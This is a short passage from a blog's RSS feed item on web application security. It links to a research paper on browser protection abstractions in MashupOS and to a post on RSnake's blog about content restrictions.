&lt;P&gt;&lt;A class="" title="Protection and Communication Abstractions" href="http://research.microsoft.com/~helenw/papers/sosp07MashupOS.pdf" mce_href="http://research.microsoft.com/~helenw/papers/sosp07MashupOS.pdf"&gt;Protection and Communication Abstractions for Web Browsers in MashupOS&lt;/A&gt;&lt;/P&gt;
&lt;P&gt;&lt;A class="" title=RSnake href="http://ha.ckers.org/blog/" mce_href="http://ha.ckers.org/blog/"&gt;RSnake&lt;/A&gt; also has &lt;A class="" title="an interesting post" href="http://ha.ckers.org/blog/20070811/content-restrictions-a-call-for-input/" mce_href="http://ha.ckers.org/blog/20070811/content-restrictions-a-call-for-input/"&gt;an interesting post&lt;/A&gt;&amp;nbsp;on this topic.&lt;/P&gt;&lt;div style="clear:both;"&gt;&lt;/div&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=4882947" width="1" height="1"&gt;</description><category domain="http://blogs.msdn.com/b/dross/archive/tags/Computer+Security/">Computer Security</category><category domain="http://blogs.msdn.com/b/dross/archive/tags/Web+Application+Security/">Web Application Security</category></item></channel></rss>